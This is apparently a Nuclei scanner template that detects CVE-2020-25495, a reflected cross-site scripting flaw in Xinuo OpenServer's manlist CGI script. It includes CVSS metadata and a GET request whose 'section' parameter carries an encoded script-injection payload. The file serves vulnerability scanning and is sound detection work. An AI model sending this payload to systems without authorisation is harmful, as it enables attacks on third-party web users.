id: CVE-2020-25495

info:
  name: Xinuo Openserver 5/6 - Cross-Site scripting
  author: 0x_Akoko
  severity: medium
  description: Xinuo (formerly SCO) Openserver versions 5 and 6 allows remote attackers to inject arbitrary web script or HTML tag via the parameter 'section' and is vulnerable to reflected cross-site scripting.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts or steal sensitive information from users.
  remediation: |
    Apply the latest security patches or updates provided by Xinuo to fix the XSS vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/49300
    - https://github.com/Ramikan/Vulnerabilities/blob/master/SCO%20Openserver%20XSS%20%26%20HTML%20Injection%20vulnerability
    - http://packetstormsecurity.com/files/160634/SCO-Openserver-5.0.7-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25495
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-25495
    cwe-id: CWE-79
    epss-score: 0.01051
    epss-percentile: 0.77786
    cpe: cpe:2.3:a:xinuos:openserver:5.0.7:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xinuos
    product: openserver
  tags: cve2020,cve,sco,xss,edb,packetstorm,intrusive,xinuos,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/manlist?section=%22%3E%3Ch1%3Ehello%3C%2Fh1%3E%3Cscript%3Ealert(/{{randstr}}/)%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <h1>hello</h1><script>alert(/{{randstr}}/)</script>

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206ea780eb6ef8f2fd27dd8afd6be796e89e967fa4db8b4e0753e9a57db958427c022100ec875a295c2afe1ee299d2fa2516a99367dd4fe1cd210dd29759b43c3987ee7a:922c64590222798bb761d5b6d8e72950